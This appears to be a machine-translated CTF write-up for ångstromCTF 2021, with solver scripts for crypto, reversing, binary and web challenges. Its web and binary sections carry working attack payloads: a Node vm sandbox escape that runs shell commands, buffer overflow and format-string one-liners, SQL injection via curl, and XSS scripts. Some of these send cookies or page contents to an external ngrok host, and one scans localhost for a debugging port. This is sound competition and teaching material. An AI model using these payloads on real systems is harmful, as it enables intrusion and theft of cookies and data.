ångstromCTF 2021 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
I participated in ångstromCTF 2021 alone as a practice, and ended up in 27th place. Some of the challenges were quite interesting, so I decided to document the solutions. I will gradually fill in the parts that I haven't written yet.
Misc
Archaic
Simple tar extraction.
Fish
Can be solved instantly with StegSolve.
Float On
To represent a double-precision floating-point number as a long, you can use: bytes_to_long(struct.pack('>d', float('nan')))
or similar methods.
The first question is 0.0
, the second is nan
.
For the third question, using z3, you can determine it is nan
or -inf
, but since NaN
is not valid, the answer is only -inf
.
from z3 import *
x = FP('x', Float64())
solve(x + 1 == x, x * 2 == x)
The fourth and fifth questions can also be solved directly using z3.
CaaSio SE
This challenge requires escaping Node.js's built-in vm
module while also passing AST-level checks and length restrictions.
First, you need to find a way to bypass the protection of the code below. Because it uses Object.create(null)
, you can't escape directly from the prototype chain.
const ctx = Object.create(null)
vm.runInNewContext(js, ctx))
console.log(ctx.x)
However, the key is to exploit the fact that it accesses ctx.x
. This can be hooked using Object.defineProperty
, and then you can obtain the foreign object from arguments.callee.caller
and find Function
from the prototype chain to escape.
In general, if you define get
as a regular function to access arguments.callee.caller
, you may encounter a Strict Mode Error. However, if you define it using Function
, you can bypass this. An example is as follows:
const vm = require('vm')
const payload = String.raw`
Object.defineProperty(this, 'x', {
get: Function('return arguments.callee.caller.constructor.constructor("return process.mainModule.require(\\"child_process\\").execSync(\\"id\\")+1")()')
})
`
const ctx = Object.create(null)
vm.runInNewContext(payload, ctx)
console.log(ctx.x)
Then, you can notice that the AST check does not verify if the object key is valid when it is computed, so ({[<expr>]:1})
can bypass it. However, due to various length restrictions, you need to find a way to bypass them. The final payload is as follows:
const payload = String.raw`
(z='return arguments.callee.caller.constructo'+'r.constructo'+'r("return process.mainModule.require(\\"child_'+'process\\").execSync(\\"cat flag.txt\\")+1")()',{[(d=Object.defineProperty,a=Function)]:1,[d(this,'x',{get:a(z)})]:1})
`.slice(1,-1)
console.log(payload.length)
console.log(payload)
Crypto
Relatively Simple Algorithm
It's a straightforward RSA problem. All the necessary parameters are provided, so it's simple.
from Crypto.Util.number import long_to_bytes
n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
Exclusive Cipher
For some reason, xortool didn't work, so I wrote a script using z3 to solve it.
from z3 import *
ct = bytes.fromhex(
"ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c"
)
def solve(actf_idx):
KL = 5
key = [BitVec(f"k_{i}", 8) for i in range(KL)]
sol = Solver()
pt = []
for i in range(len(ct)):
pt.append(ct[i] ^ key[i % KL])
for x in pt:
sol.add(And(0x20 <= x, x <= 0x7E))
actf = b"actf{"
sol.add(And([pt[actf_idx + i] == actf[i] for i in range(len(actf))]))
if sol.check() == sat:
m = sol.model()
key = [m[k].as_long() for k in key]
pt = []
for i in range(len(ct)):
pt.append(ct[i] ^ key[i % KL])
print(bytes(pt))
for i in range(len(ct) - 4):
solve(i)
Keysar v2
A simple Substitution Cipher. You can use this website to automatically solve it based on frequency.
sosig
Classic Wiener's attack.
Home Rolled Crypto
The key to this challenge is that there is no shifting operation during the encryption process, meaning each byte at each position is fixed. So, you can directly build a table to solve it.
from pwn import *
BLOCK_SIZE = 16
conn = remote("crypto.2021.chall.actf.co", 21602)
def encrypt(pt):
conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? ", "1")
conn.sendlineafter(b"What would you like to encrypt:", pt.hex())
return bytes.fromhex(conn.recvline().decode().strip())
ALL = b"".join([bytes([i]) * BLOCK_SIZE for i in range(256)])
ALL_CT = encrypt(ALL)
def build_table():
tbl = {}
for i in range(256):
pt = bytes([i]) * BLOCK_SIZE
idx = ALL.index(pt)
ct = ALL_CT[idx : idx + len(pt)]
for j in range(BLOCK_SIZE):
tbl[(j, i)] = ct[j]
return tbl
def encrypt_with_table(pt, tbl):
s = []
for i in range(len(pt)):
s.append(tbl[(i % BLOCK_SIZE, pt[i])])
return bytes(s)
table = build_table()
conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? ", "2")
for _ in range(10):
conn.recvuntil(b"Encrypt this: ")
pt = bytes.fromhex(conn.recvline().decode().strip())
ct = encrypt_with_table(pt, table)
conn.sendline(ct.hex())
conn.interactive()
Follow the Currents
Since the entire key stream is only related to a two-byte key, you can brute-force it.
import zlib
with open("enc", "rb") as f:
ct = f.read()
def keystream(key):
index = 0
while 1:
index += 1
if index >= len(key):
key += zlib.crc32(key).to_bytes(4, "big")
yield key[index]
for a in range(256):
for b in range(256):
k = keystream(bytes([a, b]))
pt = []
for x in ct:
pt.append(x ^ next(k))
flag = bytes(pt)
if b"actf" in flag:
print(flag)
exit()
I'm so Random
The generated numbers are the result of multiplying two custom PRNG results. By factoring the numbers and using them as seeds in the PRNG, you can see if they generate the subsequent numbers correctly. I tested with two additional numbers to ensure the seeds were correct, then output the predicted numbers.
from sage.all import divisors
a = 3469929343550880
b = 559203964877745
c = 4033819243757304
def get_pairs(n):
for d in divisors(n):
if d * d > n:
break
yield d, n // d
class Generator:
DIGITS = 8
def __init__(self, seed):
self.seed = seed
# assert(len(str(self.seed)) == self.DIGITS)
def getNum(self):
self.seed = int(
str(self.seed ** 2).rjust(self.DIGITS * 2, "0")[
self.DIGITS // 2 : self.DIGITS + self.DIGITS // 2
]
)
return self.seed
for s1, s2 in get_pairs(a):
g1 = Generator(s1)
g2 = Generator(s2)
if g1.getNum() * g2.getNum() == b:
if g1.getNum() * g2.getNum() == c:
print(s1, s2)
print("predict:")
print(g1.getNum() * g2.getNum())
print(g1.getNum() * g2.getNum())
Circle of Trust
You are given three points, and from the Circle in the problem and the source code, you can see that they are three points on a circle, with the center being the key and iv. Knowing three points can reconstruct a fixed circle, so the only issue left is handling decimal precision. This can be done by multiplying by a large integer and then dividing back.
from decimal import Decimal, getcontext
getcontext().prec = 50
MULT = 10 ** 10
p1 = (
Decimal("45702021340126875800050711292004769456.2582161398"),
Decimal("310206344424042763368205389299416142157.00357571144"),
)
p2 = (
Decimal("55221733168602409780894163074078708423.359152279"),
Decimal("347884965613808962474866448418347671739.70270575362"),
)
p3 = (
Decimal("14782966793385517905459300160069667177.5906950984"),
Decimal("340240003941651543345074540559426291101.69490484699"),
)
def s_mul(n, p):
return (int(n * p[0]), int(n * p[1]))
def solve_circle(p1, p2, p3):
from sage.all import var, solve
x = var("x")
y = var("y")
a = var("a")
b = var("b")
r = var("r")
circle = (x - a) ** 2 + (y - b) ** 2 == r ** 2
eq1 = circle.subs(x == p1[0]).subs(y == p1[1])
eq2 = circle.subs(x == p2[0]).subs(y == p2[1])
eq3 = circle.subs(x == p3[0]).subs(y == p3[1])
return solve([eq1, eq2, eq3], a, b, r)
pp1 = s_mul(MULT, p1)
pp2 = s_mul(MULT, p2)
pp3 = s_mul(MULT, p3)
sol = solve_circle(pp1, pp2, pp3)
a = int(sol[1][0].rhs())
b = int(sol[1][1].rhs())
print(a, b)
from Crypto.Cipher import AES
key = (a // MULT).to_bytes(16, byteorder="big")
iv = (b // MULT).to_bytes(16, byteorder="big")
ct = bytes.fromhex(
"838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76"
)
print(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct))
Some people converted the problem to a Lattice problem to solve it...
Substitution
You can input any number to get the result of , where are the flag characters. So, by obtaining enough pairs, you can solve the linear system using matrices to get the answer. The length can be guessed and is not very important.
from pwn import *
from sage.all import Matrix, Zmod, vector
from functools import reduce
# conn = process(["python", "chall.py"])
conn = remote("crypto.2021.chall.actf.co", 21601)
def get_num(n):
conn.sendlineafter(b"> ", str(n))
return int(conn.recvline().decode().strip().split(" ")[-1])
MXLEN = 50
nums = [get_num(i) for i in range(MXLEN)]
def solve(flag_len):
mat = []
for i in range(flag_len):
mat.append([pow(i, j, 691) for j in range(flag_len)][::-1])
M = Matrix(Zmod(691), mat)
assert M.rank() == flag_len
sol = M.solve_right(vector(nums[:flag_len]))
if all(0 <= x < 256 for x in sol):
flag = bytes(sol.list())
if b"actf{" in flag:
print(flag)
exit()
for i in range(5, MXLEN):
solve(i)
Another method is to note that is a polynomial. Once you have enough pairs, you can use Lagrange interpolation to find the coefficients and get the flag. Sage's interpolation documentation
Oracle of Blair
In CBC mode, the decrypt iv comes from the previous block's ciphertext. By controlling the iv, you can make it decrypt 'a'*15 + '?'
, where ?
is the first character of the flag. Then, brute-force the ?
to find its value, and repeat for the remaining characters.
import string
from pwn import remote, process
# conn = process(["python", "ang_oracle_chall.py"])
conn = remote("crypto.2021.chall.actf.co", 21112)
def do_oracle(ct):
conn.sendlineafter(b"give input: ", ct.hex())
return bytes.fromhex(conn.recvline().decode().strip())
def split_blocks(bs):
blks = []
for i in range(0, len(bs), 16):
blks.append(bs[i : i + 16])
return blks
MAX_LEN = 64
TARGET_BLK = (MAX_LEN // 16) - 1
flag = b"actf{"
while True:
pfx = b"\x00" * (MAX_LEN - 1 - len(flag))
target = split_blocks(do_oracle(pfx + b"{}"))[TARGET_BLK]
for c in string.printable:
cur = split_blocks(do_oracle(pfx + flag + c.encode()))[TARGET_BLK]
if cur == target:
flag += c.encode()
break
print(flag)
if c == "}":
break
Thunderbolt
Initially, I tried to reverse-engineer it but didn't succeed. Later, I tried to pwn it by inputting a large number of characters, and surprisingly, the flag appeared. After asking the challenge author, I found out it was actually RC4, but it used this xor swap in the swap part:
a ^= b
b ^= a
a ^= b
This swap only works when a!=b
. If a==b
, it sets both to 0. In RC4, there is a chance of swapping two identical values, and the longer the key, the higher the probability. In this case, the key stream is likely to become almost all 0s, so the xor result is still the original flag.
python -c 'print("a"*30000)' | nc crypto.2021.chall.actf.co 21603 | python -c 'print(bytes.fromhex(input()[27:]))'
Rev
FREE FLAGS!!1!!
Opening it with IDA reveals the result immediately.
Jailbreak
Using ltrace, you can see which strings need to be input. However, you will soon get stuck in an infinite loop. Opening it with IDA reveals that the strings are obfuscated. I used angr to hook and print the strings.
After comparing with IDA, you can see that it changes a variable based on pressing the red or green button. The final value must be 1337, and then input bananarama
to get the flag.
import angr
def bv2bytes(bv):
h = str(bv).split(" ")[1]
if h.startswith("0x"):
h = h[2:]
if h.endswith(">"):
h = h[:-1]
try:
return bytes.fromhex(h)
except:
return bv
inp = b"""look around
pick the snake up
throw the snake at kmh
knock on the wall
pry the bars open
look around
press the red button
press the green button
press the red button
press the red button
press the green button
press the green button
press the green button
press the red button
press the red button
press the green button
bananarama
"""
proj = angr.Project("./jailbreak")
def dump_strings():
i = 0
global inp
inp = b"\n" * 5
@proj.hook(0x4015A0, length=0)
def hook(state):
nonlocal i
print(i)
# print(state.regs.rdi)
state.regs.rdi = i
if i < 29:
i += 1
else:
exit()
@proj.hook(0x401610, length=0)
def hook_ret(state):
print(bv2bytes(state.memory.load(state.regs.rax, 300)))
def debug():
@proj.hook(0x4011CC, length=0)
def hook_ret(state):
print("r12d", state.regs.r12d)
@proj.hook(0x4015A0, length=0)
def hook(state):
print("rdi", state.regs.rdi)
dump_strings() # Dump strings
# debug() # Debug whether value if correct
st = proj.factory.full_init_state(
args=["./jailbreak"], add_options=angr.options.unicorn, stdin=inp
)
sm = proj.factory.simulation_manager(st)
sm.run()
Infinity Gauntlet
This challenge involves writing a script after examining it with IDA. For solving unknowns, I used z3 and eval out of convenience.
from pwn import process, remote
from z3 import *
from tqdm import tqdm
import re
FLAG_RGX = re.compile(r"[^\u0000{}]+?{[^\u0000{}]+?}")
def foo(a, b):
return a ^ (b + 1) ^ 1337
def bar(a, b, c):
return a + b * (c + 1)
def solve(equ):
# A lazy way to solve it
x = BitVec("x", 32)
s = Solver()
s.add(eval(equ.replace("?", "x").replace("=", "==")))
assert s.check() == sat
m = s.model()
return m[x].as_long()
conn = process("./infinity_gauntlet")
# conn = remote('shell.actf.co', 21700)
conn.recvline()
conn.recvline()
flag = ["\0"] * 100
for rnd in tqdm(range(1, 1000)):
conn.recvline()
equ = conn.recvline().strip().decode()
ans = solve(equ)
if rnd > 49:
idx = (ans >> 8) - rnd
c = chr((ans ^ (idx * 17)) & 0xFF)
if idx < 0:
continue
flag[idx] = c
if FLAG_RGX.match("".join(flag)):
break
conn.sendline(str(ans))
conn.recvline()
print(FLAG_RGX.match("".join(flag)).group(0))
Revex
My approach was to understand the regex, read it part by part, and write it as z3 conditions. After solving it, I called js to verify.
import subprocess
from z3 import *
RE = r"^(?=.*re)(?=.{21}[^_]{4}\}$)(?=.{14}b[^_]{2})(?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])(?=.{7}G(?<pepega>..).{7}t\k<pepega>)(?=.*u[^z].$)(?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)(?=.*_.{2}_)(?=actf\{)(?=.{21}[p-t])(?=.*1.*3)(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))(?=.*Ex)"
flag = [BitVec(f"f_{i}", 8) for i in range(26)]
sol = Solver()
for c in flag:
sol.add(And(0x20 <= c, c <= 125))
# (?=.{21}[^_]{4}\}$)
for i, c in enumerate(b"actf{"):
sol.add(flag[i] == c)
for i in range(21, 21 + 4):
sol.add(flag[i] != ord("_"))
sol.add(flag[25] == ord("}"))
# (?=.{14}b[^_]{2})
sol.add(flag[14] == ord("b"))
for i in range(15, 15 + 2):
sol.add(flag[i] != ord("_"))
# (?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])
sol.add(flag[8] == ord("E"))
# (?=.{7}G(?<pepega>..).{7}t\k<pepega>)
sol.add(flag[7] == ord("G"))
pepega = flag[8:10]
sol.add(flag[17] == ord("t"))
for a, b in zip(pepega, flag[18:20]):
sol.add(a == b)
# (?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)
pepeega = flag[11]
sol.add(Or(pepeega == ord("1"), pepeega == ord("3")))
sol.add(flag[12] == ord("s"))
sol.add(flag[15] != pepeega)
sol.add(Or(flag[15] == ord("1"), flag[15] == ord("3")))
sol.add(flag[16] == ord("s"))
# (?=.{21}[p-t])
sol.add(And(ord("p") <= flag[21], flag[21] <= ord("t")))
# (?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))
for c in b"uyzq_":
sol.add(Or([f == c for f in flag[20:]]))
# (?=.*Ex)
sol.add(
Or(
[
And(flag[i] == ord("E"), flag[i + 1] == ord("x"))
for i in range(len(flag) - 1)
]
)
)
# (?=.*re)
sol.add(
Or(
[
And(flag[i] == ord("r"), flag[i + 1] == ord("e"))
for i in range(len(flag) - 1)
]
)
)
# (?=.*_.{2}_)
sol.add(
Or(
[
And(flag[i] == ord("_"), flag[i + 3] == ord("_"))
for i in range(len(flag) - 3)
]
)
)
cand = []
while sol.check() == sat:
m = sol.model()
s = bytes([m[f].as_long() for f in flag])
cand.append(s.decode())
sol.add(Or([a != b for a, b in zip(flag, s)]))
for c in cand:
r = subprocess.check_output(["node", "-e", f'console.log(/{RE}/.test("{c}"))'])
if b"true" in r:
print(c)
lambda lambda
The intended solution for this challenge is to use lambda calculus, but since I don't know it, I tried to find a pattern and brute-force the flag.
from Crypto.Util.number import long_to_bytes
from subprocess import check_output
from multiprocessing.dummy import Pool
import string
from itertools import product
def get_ct(pt):
# pypy is faster
ret = check_output(["pypy3", "./ang_lambda_stdin.py"], input=pt)
return long_to_bytes(int(ret.decode().strip()))
def removeprefix(self: bytes, prefix: bytes, /) -> bytes:
if self.startswith(prefix):
return self[len(prefix) :]
else:
return self[:]
chrs = (
"{_}" + string.digits + string.ascii_lowercase
).encode() # string.printable.encode()
# Local testing: flag{123abcsdf}
# flag = b""
# ct = long_to_bytes(565565770377169444337452969279319838)
flag = b"actf{"
ct = long_to_bytes(2692665569775536810618960607010822800159298089096272924)
while True:
l = len(removeprefix(ct, get_ct(flag)))
pool = Pool(16)
for c, ct2 in zip(chrs, pool.imap(get_ct, map(lambda c: flag + bytes([c]), chrs))):
if len(removeprefix(ct, ct2)) < l:
flag += bytes([c])
break
else:
print("brute force two")
for (c, d), ct2 in zip(
product(chrs, repeat=2),
pool.imap(
get_ct,
map(lambda x: flag + bytes([x[0], x[1]]), product(chrs, repeat=2)),
),
):
if len(removeprefix(ct, ct2)) < l:
flag += bytes([c, d])
break
print(flag)
pool.terminate()
if flag.endswith(b"}"):
break
Binary
Secure Login
It compares strcmp
with the output from /dev/urandom
, and the probability of the first byte being \0
is . So, keep inputting an empty string until it succeeds.
tranquil
Debug with gdb to calculate the offset of the return address, then modify ret.
printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00\n" | nc shell.actf.co 21830
Sanity Checks
Again, debug with gdb, then change the local variables to the correct values to get the flag.
printf 'password123\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x11\x00\x00\x00=\x00\x00\x00\xf5\x00\x00\x007\x00\x00\x002\x00\x00\x00\n' | nc shell.actf.co 21303
stickystacks
Use printf
to retrieve the flag from the stack.
for i in $(seq 31 45); do printf "%%%d\$p\n" $i | nc shell.actf.co 21820 | grep -o '0x.*' | python -c 'print(int(input(),16).to_bytes(8,byteorder="little"))'; done
Web
Jar
Use pickle to read __main__.flag
. The payload is (c__main__\nflag\nl.
.
Sea of Quills
Direct SQLi works. You can find the table through injection.
curl "https://seaofquills.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=url,desc,(select * from flagtable)"
nomnomnom
You can notice a simple XSS in the challenge, but it is protected by CSP with a nonce. You can use an unclosed <script
to treat the subsequent nonce="..."
as your attribute.
However, it doesn't work in Chrome. The XSSBot specifies using Firefox, and testing it there shows it works, so you can retrieve the flag.
await fetch("https://nomnomnom.2021.chall.actf.co/record", {
"headers": {
"content-type": "application/json"
},
"body": JSON.stringify({name:'<script src="data:application/javascript,alert() "',score:87}),
"method": "POST"
}).then(r=>r.text())
Reaction.py
This challenge allows you to create two components, and there are many types of components. You can find that only the freq
component is not escaped, and it prints characters in order of frequency. You can use this to construct <script>
for XSS.
However, the freq
component has character frequency restrictions, making it difficult to create a long payload. You can combine it with the text
component to include the js content, filtering out other HTML with comments. The closing part can use the recaptcha tag's </script>
.
def generate_payload(payload):
s = ""
for i, c in enumerate(payload):
s += c * (i + 1)
return s
reset()
add_component("freq", generate_payload("<script>/*"))
add_component(
"text",
"*/alert(1)//",
)
For example, the above script generates:
<body><p>All letters: <script>/*<br>Most frequent: '*'x10</p><p>*/alert(1)//</p><script src="https://www.google.com/recaptcha/api.js" async defer></script></body>
To retrieve the flag, use fetch('/?fakeuser=admin')
.
Note: The string must use the ` character instead of ' or ", as flask escapes them...
Sea of Quills 2
Similar to the previous challenge, but with length restrictions and the flag being blacklisted. However, spaces around symbols can be omitted, and table names are case-insensitive, making it easy to bypass.
curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=(select*from FLAGTABLE)"
According to the challenge author, the intended solution is to exploit Ruby's regex being multiline by default, so ^
and $
match only one line. Inserting a \n
can bypass the regex check.
curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=99&cols=(SELECT url&offset=0%0A),* from flagtable"
Spoofy
The goal is to make X-Forwarded-For
become 1.3.3.7, ... , 1.3.3.7
to get the flag. The challenge is hosted on Heroku.
I set up a flask server on Heroku to print the X-Forwarded-For
value. Testing revealed that sending two X-Forwarded-For
headers bypasses it. The payload is as follows.
curl "https://actf-spoofy.herokuapp.com/" -H 'X-Forwarded-For: 1.3.3.7' -H 'X-Forwarded-For: a, 1.3.3.7'
For more details, see the challenge author's WriteUp: https://hackmd.io/@aplet123/SJcgJRoHu
Jason
The intended solution initially didn't work for me. The method is to use a form to submit passcode=; SameSite=None; Secure
to /passcode
, then use jsnop and referrerPolicy="no-referrer"
to get the flag.
index.php:
<script>
function load(data) {
fetch('/?data=' + encodeURIComponent(data.items[0])).then(close)
}
open('cookie.php','_blank')
const s=document.createElement('script')
s.referrerPolicy='no-referrer'
s.src='https://jason.2021.chall.actf.co/flags?callback=load'
setTimeout(()=>document.body.appendChild(s), 5000)
setInterval(()=>fetch('/ping'),10)
</script>
<img id=img src="https://deelay.me/10000/http://example.com">
cookie.php:
<form id=f action="https://jason.2021.chall.actf.co/passcode" method=POST>
<input name=passcode value='; SameSite=None; Secure;'>
</form>
<script>f.submit()</script>
However, this wasn't my initial solution. Since referrerPolicy
didn't work for me, I used SQLi from Sea of Quills for XSS. I set the cookie with a domain, making it ; SameSite=None; Secure; Domain=2021.chall.actf.co
, then used Sea of Quills' XSS to read document.cookie
.
index.php:
<script>
open('/xss.php?script=xss.js','_blank')
for(var i=0;i<1000000000;i++);
open('/xss.php?script=xss2.js','_blank')
setInterval(()=>{
fetch('https://example.com')
},10)
</script>
<img id=img src="https://deelay.me/10000/http://example.com">
xss.php:
<form id=fr action="https://seaofquills.2021.chall.actf.co/quills" method="POST">
<input name=limit value=1>
<input name=offset value=0>
<input name=cols>
</form>
<script>
const payload='<script src=https://e96adc70eaec.ngrok.io/<?php echo $_GET['script']; ?>></'+'script>'
const params=''+payload.split('').map(x=>x.charCodeAt(0))
const s=`url,desc,(select char(${params}))`
fr.cols.value=s
fr.submit()
</script>
xss.js:
const fr=document.createElement('form')
fr.action='https://jason.2021.chall.actf.co/passcode'
fr.method='POST'
const ps=document.createElement('input')
ps.name='passcode'
ps.value='; SameSite=None; Secure; Domain=2021.chall.actf.co'
fr.appendChild(ps)
document.body.appendChild(fr)
fr.submit()
xss2.js:
fetch('https://e96adc70eaec.ngrok.io/report='+btoa(document.cookie))
After using this method, the challenge author PMed me to ask how I did it. After explaining, they said it was an overcomplicated unintended solution but interesting.
Watered Down Watermark as a Service
The challenge provides a /screenshot
endpoint using puppeteer to browse and take screenshots. Another endpoint, /add-flag
, reads your BSON and inserts the flag, then returns it. Due to BSON format and nosniff
, you can't construct BSON as HTML for XSS.
I used the unintended solution from DiceCTF 2021's unintended solution (GitHub mirror link). I believe many others used this method too.
This method involves port scanning localhost
to find puppeteer's debugging protocol port. Then, browse http://localhost:port/json/new?file:///app/flag.txt
to get a websocket URL (appearing in the screenshot). Write a page to use the websocket to communicate and retrieve the flag.
probe.php:
<script>
const u = new URL(location.href)
const start = parseInt(u.searchParams.get('start'))
const step = parseInt(u.searchParams.get('step'))
let anySuccess = false
function probeError(port) {
return new Promise(resolve=>{
let script = document.createElement('script');
script.src = `http://localhost:${port}/`;
script.onload = () => {
fetch('/report'+port)
resolve(true)
}
script.onerror = () => resolve(false);
document.head.appendChild(script);
})
}
for(let i=start;i<start+step;i++){
probeError(i)
}
u.searchParams.set('start',start+step)
u.searchParams.set('step',step)
if(start+step<40000){
fetch('https://wdwaas.2021.chall.actf.co/screenshot?url='+encodeURIComponent(u.toString()))
}
</script>
I used this to port scan, mainly in the 30000-40000 range, as the port is usually in this range.
After finding it, use the following solve.php to communicate with the protocol and retrieve the flag.
<script>
window.ws = new WebSocket('ws://127.0.0.1:32881/devtools/page/43C135B187E801FF9552F626E278BAFB') // from screenshot
ws.onerror = (e=>{document.writeln('error')})
ws.onmessage = (e=>{
document.writeln("<p>"+e.data+"</p>");
})
ws.onopen = ()=>{
ws.send(JSON.stringify({
id:1,
method:"Runtime.evaluate",
params:{
expression:"fetch('https://80a3b922feb5.ngrok.io/flag', {method:'POST', body:document.body.innerHTML})"
}
}))
}
</script>
For the intended solution, I initially thought of a similar approach. I saw here that <img>
doesn't care about nosniff
. My idea was to construct svg using BSON and put the flag in <text>
, but testing showed it didn't work, and I wasn't sure why.
The challenge author's solution uses bmp. By exploiting bmp's structure, the flag's bits become black and white pixels, which can be converted back to the flag.
For details, see: https://hackmd.io/@lamchcl/BJpOo2Or\_#Watered-Down-Watermark-as-a-Service